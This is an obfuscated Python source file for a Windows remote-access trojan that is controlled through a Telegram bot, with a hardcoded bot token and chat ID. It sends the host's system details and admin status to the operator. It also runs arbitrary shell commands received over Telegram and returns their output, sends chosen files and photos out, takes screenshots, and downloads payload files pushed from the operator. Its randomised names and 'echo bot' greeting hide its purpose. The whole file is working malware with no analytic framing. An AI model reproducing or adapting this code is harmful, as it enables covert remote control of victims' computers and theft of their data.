|
# -*- coding: utf-8 -*- |
|
from subprocess import Popen , PIPE |
|
from os import environ , path , system , sep , listdir , remove |
|
from threading import Thread |
|
from time import sleep |
|
from random import sample , getrandbits , randrange |
|
from string import ascii_letters , digits |
|
from platform import platform |
|
import json |
|
import ssl |
|
import random |
|
import string |
|
from six import string_types |
|
import requests |
|
import hashlib |
|
from Crypto import Random |
|
from Crypto . Cipher import AES |
|
import base64 |
|
import zlib |
|
import locale |
|
onGSJiuaIwkYJKQAq = '140192111:AAGSxqO9Xz9meTaG7Ecdh80LGnYXNIbbgp4' |
|
ClKgScOAM = '184274372' |
|
fKicshfGsvpfunOH = True |
|
evhtoH = "https://api.telegram.org/bot{0}/{1}" |
|
def BNRJwUcIuZ ( var ) : |
|
return isinstance ( var , string_types ) |
|
def htuypnnLGskjaWFHOn ( token , method_name , method = 'get' , params = None , files = None , base_url = evhtoH ) : |
|
dcyEXUGQXJXzrBbDE = base_url . format ( token , method_name ) |
|
RjwSbIgZHgLJorGQ = requests . request ( method , dcyEXUGQXJXzrBbDE , params = params , files = files ) |
|
return qCEJUuRzxXjOQJdil ( method_name , RjwSbIgZHgLJorGQ ) [ 'result' ] |
|
def qCEJUuRzxXjOQJdil ( method_name , result ) : |
|
if result . status_code != 200 : |
|
IYdtV = 'The server returned HTTP {0} {1}. Response body:\n[{2}]' . format ( result . status_code , result . reason , result . text . encode ( 'utf8' ) ) |
|
raise dlQOkPl ( IYdtV , method_name , result ) |
|
try : |
|
JHZZiJkCbX = result . json ( ) |
|
except : |
|
IYdtV = 'The server returned an invalid JSON response. Response body:\n[{0}]' . format ( result . text . encode ( 'utf8' ) ) |
|
raise dlQOkPl ( IYdtV , method_name , result ) |
|
if not JHZZiJkCbX [ 'ok' ] : |
|
IYdtV = 'Error code: {0} Description: {1}' . format ( JHZZiJkCbX [ 'error_code' ] , JHZZiJkCbX [ 'description' ] ) |
|
raise dlQOkPl ( IYdtV , method_name , result ) |
|
return JHZZiJkCbX |
|
class uILINb : |
|
def __init__ ( self , botapi , chatid ) : |
|
self . botapi = botapi |
|
self . baseurl = "https://api.telegram.org/bot" + self . botapi |
|
self . chatid = chatid |
|
self . ssl_cert = ssl . SSLContext ( ssl . PROTOCOL_TLSv1 ) |
|
def sendMessage ( self , message ) : |
|
rcmQAlxPVdfnZbICtL = { |
|
'chat_id' : self . chatid , |
|
'text' : str ( message ) |
|
} |
|
try : |
|
RuOfCO = htuypnnLGskjaWFHOn ( self . botapi , r'sendMessage' , params = rcmQAlxPVdfnZbICtL ) |
|
except : |
|
wTZeIkPYvlessUipQ = open ( AEBjZFmFcuTGFSO , 'w' ) |
|
wTZeIkPYvlessUipQ . writelines ( message ) |
|
wTZeIkPYvlessUipQ . close ( ) |
|
try : |
|
self . sendDocument ( AEBjZFmFcuTGFSO ) |
|
remove ( AEBjZFmFcuTGFSO ) |
|
except : |
|
remove ( AEBjZFmFcuTGFSO ) |
|
def sendDocument ( self , path ) : |
|
qoiJdeqnxwSvFfxtcg = open ( path , 'rb' ) |
|
gINOdHaURkaNqc = r'sendDocument' |
|
OzwTFhmDaoatjnZeQg = { 'chat_id' : self . chatid } |
|
qGCYfsscLoV = { 'document' : qoiJdeqnxwSvFfxtcg } |
|
return htuypnnLGskjaWFHOn ( self . botapi , gINOdHaURkaNqc , params = OzwTFhmDaoatjnZeQg , files = qGCYfsscLoV , method = 'post' ) |
|
def send_photo ( self , path ) : |
|
altuQuOyXCjToIApt = open ( path . decode ( locale . getpreferredencoding ( ) ) . encode ( 'utf8' ) , 'rb' ) |
|
gINOdHaURkaNqc = r'sendPhoto' |
|
OzwTFhmDaoatjnZeQg = { 'chat_id' : self . chatid } |
|
qGCYfsscLoV = None |
|
if not BNRJwUcIuZ ( altuQuOyXCjToIApt ) : |
|
qGCYfsscLoV = { 'photo' : altuQuOyXCjToIApt } |
|
else : |
|
OzwTFhmDaoatjnZeQg [ 'photo' ] = altuQuOyXCjToIApt |
|
return htuypnnLGskjaWFHOn ( self . botapi , gINOdHaURkaNqc , params = OzwTFhmDaoatjnZeQg , files = qGCYfsscLoV , method = 'post' ) |
|
def getCommand ( self ) : |
|
try : |
|
PIlFKPoXfSIqQcLF = json . loads ( self . getUpdates ( ) ) |
|
lFBwWe = PIlFKPoXfSIqQcLF [ 'result' ] [ - 1 ] |
|
UJivRVkSEqtzi = int ( lFBwWe [ 'update_id' ] ) + 1 |
|
AaLxu = lFBwWe [ 'message' ] [ 'text' ] |
|
iyGlmGFlsjCZnfsYcY = self . baseurl + '/getUpdates' + "?offset=" + str ( UJivRVkSEqtzi ) |
|
requests . get ( iyGlmGFlsjCZnfsYcY ) |
|
return AaLxu . encode ( locale . getpreferredencoding ( ) ) |
|
except : |
|
PIlFKPoXfSIqQcLF = json . loads ( self . getUpdates ( ) ) |
|
try : |
|
lFBwWe = PIlFKPoXfSIqQcLF [ 'result' ] [ - 1 ] |
|
UJivRVkSEqtzi = int ( lFBwWe [ 'update_id' ] ) + 1 |
|
kyiVisI = lFBwWe [ 'message' ] [ 'document' ] [ 'file_id' ] |
|
INhhoVjKxmzAggIgj ( self . botapi , kyiVisI ) |
|
iyGlmGFlsjCZnfsYcY = self . baseurl + '/getUpdates' + "?offset=" + str ( UJivRVkSEqtzi ) |
|
requests . get ( iyGlmGFlsjCZnfsYcY ) |
|
except : |
|
pass |
|
def getUpdates ( self ) : |
|
xGWFuvYOt = self . baseurl + '/getUpdates' |
|
RuOfCO = requests . get ( xGWFuvYOt ) |
|
return RuOfCO . text |
|
def ZtxNzKAlVkno ( exc ) : |
|
enbpFTBbn = str ( exc ) + '\n' |
|
WUoEpwKgHaWeIQoc . sendMessage ( enbpFTBbn ) |
|
def diSvBcgvgHBC ( ) : |
|
dVIyMDDhmWkgzgI = "SYSPROC = " + str ( GTKOsXkB ( ) ) + "; IsAdmin = " + str ( LYyztolXmOOzPTBR ( ) ) |
|
IYdtV = { 'OUTCMD' : 'checkinfo' , 'RES' : dVIyMDDhmWkgzgI } |
|
WUoEpwKgHaWeIQoc . sendMessage ( IYdtV ) |
|
def GTKOsXkB ( ) : |
|
return '{}-{}' . format ( platform ( ) , environ [ 'PROCESSOR_ARCHITECTURE' ] ) |
|
def lddWVwYjnwSAmfcNYg ( slen = 10 ) : |
|
return '' . join ( sample ( ascii_letters + digits , slen ) ) |
|
class INhhoVjKxmzAggIgj ( Thread ) : |
|
def __init__ ( self , token , file_id ) : |
|
Thread . __init__ ( self ) |
|
self . token = token |
|
self . file_id = file_id |
|
self . payload_name = '~JF' + str ( lddWVwYjnwSAmfcNYg ( slen = 10 ) ) + '.dat' |
|
self . daemon = True |
|
self . start ( ) |
|
def get_info ( self ) : |
|
gINOdHaURkaNqc = r'getFile' |
|
return htuypnnLGskjaWFHOn ( self . token , gINOdHaURkaNqc , params = { 'file_id' : self . file_id } ) |
|
def run ( self ) : |
|
try : |
|
qlHJMdelbmWA = self . get_info ( ) |
|
IWoCKw = qlHJMdelbmWA [ u'file_path' ] |
|
QGQLNov = requests . get ( 'https://api.telegram.org/file/bot{0}/{1}' . format ( self . token , IWoCKw ) , |
|
stream = True ) |
|
with open ( self . payload_name , 'wb' ) as LBNnHCWiOboBY : |
|
for wrSpoeiB in QGQLNov . iter_content ( chunk_size = 1024 ) : |
|
if wrSpoeiB : |
|
LBNnHCWiOboBY . write ( wrSpoeiB ) |
|
iWOeeA = "[+]Upload: " + self . payload_name |
|
WUoEpwKgHaWeIQoc . sendMessage ( iWOeeA ) |
|
except Exception as qmesZmSTuFOKMD : |
|
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD ) |
|
pass |
|
def LYyztolXmOOzPTBR ( ) : |
|
DWCfMYX = False |
|
try : |
|
ovQVuWpiHnEOejSCqf = listdir ( sep . join ( [ environ . get ( 'SystemRoot' , '\\Windows' ) , 'temp' ] ) ) |
|
DWCfMYX = True |
|
except : |
|
DWCfMYX = False |
|
pass |
|
return str ( DWCfMYX ) |
|
class OcZqjNQNOQlagBmfIz ( Thread ) : |
|
def __init__ ( self , command ) : |
|
Thread . __init__ ( self ) |
|
self . command = command |
|
self . daemon = True |
|
self . start ( ) |
|
def run ( self ) : |
|
try : |
|
ImcXuPRDLHtTuENQpYX = Popen ( self . command , shell = True , stdout = PIPE , stderr = PIPE , |
|
stdin = PIPE ) |
|
try : |
|
qmpUyhe = ImcXuPRDLHtTuENQpYX . stdout . read ( ) . decode ( 'cp866' ) . encode ( 'utf8' ) |
|
except Exception as qmesZmSTuFOKMD : |
|
WUoEpwKgHaWeIQoc . sendMessage ( str ( qmesZmSTuFOKMD ) ) |
|
qmpUyhe = ImcXuPRDLHtTuENQpYX . stdout . read ( ) |
|
try : |
|
qmpUyhe += ImcXuPRDLHtTuENQpYX . stderr . read ( ) . decode ( 'cp866' ) . encode ( 'utf8' ) |
|
except Exception as qmesZmSTuFOKMD : |
|
WUoEpwKgHaWeIQoc . sendMessage ( str ( qmesZmSTuFOKMD ) ) |
|
qmpUyhe += ImcXuPRDLHtTuENQpYX . stdout . read ( ) |
|
print qmpUyhe |
|
WUoEpwKgHaWeIQoc . sendMessage ( qmpUyhe ) |
|
except Exception as qmesZmSTuFOKMD : |
|
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD ) |
|
pass |
|
class SYlksNXXcmEAVgMPU ( Thread ) : |
|
def __init__ ( self , command ) : |
|
Thread . __init__ ( self ) |
|
self . command = command |
|
self . daemon = True |
|
self . start ( ) |
|
def run ( self ) : |
|
try : |
|
WUoEpwKgHaWeIQoc . sendMessage ( self . command ) |
|
ImcXuPRDLHtTuENQpYX = Popen ( self . command , shell = True , stdout = PIPE , stderr = PIPE , |
|
stdin = PIPE ) |
|
qmpUyhe = ImcXuPRDLHtTuENQpYX . stdout . read ( ) |
|
qmpUyhe += ImcXuPRDLHtTuENQpYX . stderr . read ( ) |
|
WUoEpwKgHaWeIQoc . sendMessage ( qmpUyhe ) |
|
except Exception as qmesZmSTuFOKMD : |
|
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD ) |
|
pass |
|
def OheLeSIGNunKqD ( ) : |
|
global OkgufdoKVJYdFgMBgya |
|
while True : |
|
try : |
|
AaLxu = str ( WUoEpwKgHaWeIQoc . getCommand ( ) ) |
|
if AaLxu == "help" : |
|
hvBQioQvol = "cmd||" + "cmd command" + '\n' |
|
hvBQioQvol += "cmdd||" + "cmd command" + '\n' |
|
hvBQioQvol += "getphoto||" + "path" + '\n' |
|
hvBQioQvol += "getdoc||" + "doc path" + '\n' |
|
hvBQioQvol += "forcecheckin||" + "random data" + '\n' |
|
hvBQioQvol += "time||" + "int" + '\n' |
|
hvBQioQvol += "ss||" + "random data" + '\n' |
|
WUoEpwKgHaWeIQoc . sendMessage ( hvBQioQvol ) |
|
if AaLxu . find ( "||" ) != ( - 1 ) : |
|
xaPsdVUCAUJCBpSK = AaLxu . find ( "||" ) |
|
sffFjVkEsMIjzKHQY = AaLxu [ : xaPsdVUCAUJCBpSK ] |
|
xaPsdVUCAUJCBpSK += 2 |
|
KAkQEjOGWJbHhJRZ = AaLxu [ xaPsdVUCAUJCBpSK : ] |
|
AaLxu = { 'CMD' : sffFjVkEsMIjzKHQY , 'ARG' : KAkQEjOGWJbHhJRZ } |
|
if AaLxu [ 'CMD' ] and AaLxu [ 'ARG' ] : |
|
sffFjVkEsMIjzKHQY = AaLxu [ 'CMD' ] |
|
KAkQEjOGWJbHhJRZ = AaLxu [ 'ARG' ] |
|
if sffFjVkEsMIjzKHQY == 'cmd' : |
|
OcZqjNQNOQlagBmfIz ( KAkQEjOGWJbHhJRZ ) |
|
elif sffFjVkEsMIjzKHQY == 'cmdd' : |
|
SYlksNXXcmEAVgMPU ( KAkQEjOGWJbHhJRZ ) |
|
elif sffFjVkEsMIjzKHQY == 'getphoto' : |
|
WUoEpwKgHaWeIQoc . send_photo ( KAkQEjOGWJbHhJRZ ) |
|
elif sffFjVkEsMIjzKHQY == 'getdoc' : |
|
WUoEpwKgHaWeIQoc . sendDocument ( KAkQEjOGWJbHhJRZ ) |
|
elif sffFjVkEsMIjzKHQY == 'ss' : |
|
screenshot ( ) |
|
elif sffFjVkEsMIjzKHQY == 'forcecheckin' : |
|
diSvBcgvgHBC ( ) |
|
elif sffFjVkEsMIjzKHQY == 'time' : |
|
try : |
|
OkgufdoKVJYdFgMBgya = int ( KAkQEjOGWJbHhJRZ ) |
|
WUoEpwKgHaWeIQoc . sendMessage ( "Success!" ) |
|
try : |
|
open ( direct , 'w' ) . write ( str ( OkgufdoKVJYdFgMBgya ) ) |
|
except Exception as qmesZmSTuFOKMD : |
|
WUoEpwKgHaWeIQoc . sendMessage ( str ( qmesZmSTuFOKMD ) ) |
|
except : |
|
WUoEpwKgHaWeIQoc . sendMessage ( "Must be integer" ) |
|
sleep ( OkgufdoKVJYdFgMBgya ) |
|
continue |
|
elif sffFjVkEsMIjzKHQY == 'logout' : |
|
WUoEpwKgHaWeIQoc . sendMessage ( "LOGOUT +" ) |
|
break |
|
else : |
|
sleep ( OkgufdoKVJYdFgMBgya ) |
|
continue |
|
sleep ( OkgufdoKVJYdFgMBgya ) |
|
except Exception as qmesZmSTuFOKMD : |
|
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD ) |
|
sleep ( OkgufdoKVJYdFgMBgya ) |
|
continue |
|
class dlQOkPl ( Exception ) : |
|
def __init__ ( self , msg , function_name , result ) : |
|
super ( dlQOkPl , self ) . __init__ ( "A request to the Telegram API was unsuccessful. {0}" . format ( msg ) ) |
|
self . function_name = function_name |
|
self . result = result |
|
def NAQOVGy ( ) : |
|
diSvBcgvgHBC ( ) |
|
try : |
|
OheLeSIGNunKqD ( ) |
|
except KeyboardInterrupt : |
|
pass |
|
if __name__ == '__main__' : |
|
try : |
|
OkgufdoKVJYdFgMBgya = 15 |
|
WUoEpwKgHaWeIQoc = uILINb ( onGSJiuaIwkYJKQAq , ClKgScOAM ) |
|
WUoEpwKgHaWeIQoc . sendMessage ( "Hey! It`s echo bot" ) |
|
WUoEpwKgHaWeIQoc . sendMessage ( locale . getpreferredencoding ( ) ) |
|
while 1 == 1 : |
|
try : |
|
AEBjZFmFcuTGFSO = "~DT" + lddWVwYjnwSAmfcNYg ( slen = 10 ) + ".txt" |
|
NAQOVGy ( ) |
|
sleep ( OkgufdoKVJYdFgMBgya ) |
|
except : |
|
continue |
|
except : |
|
pass |
|
|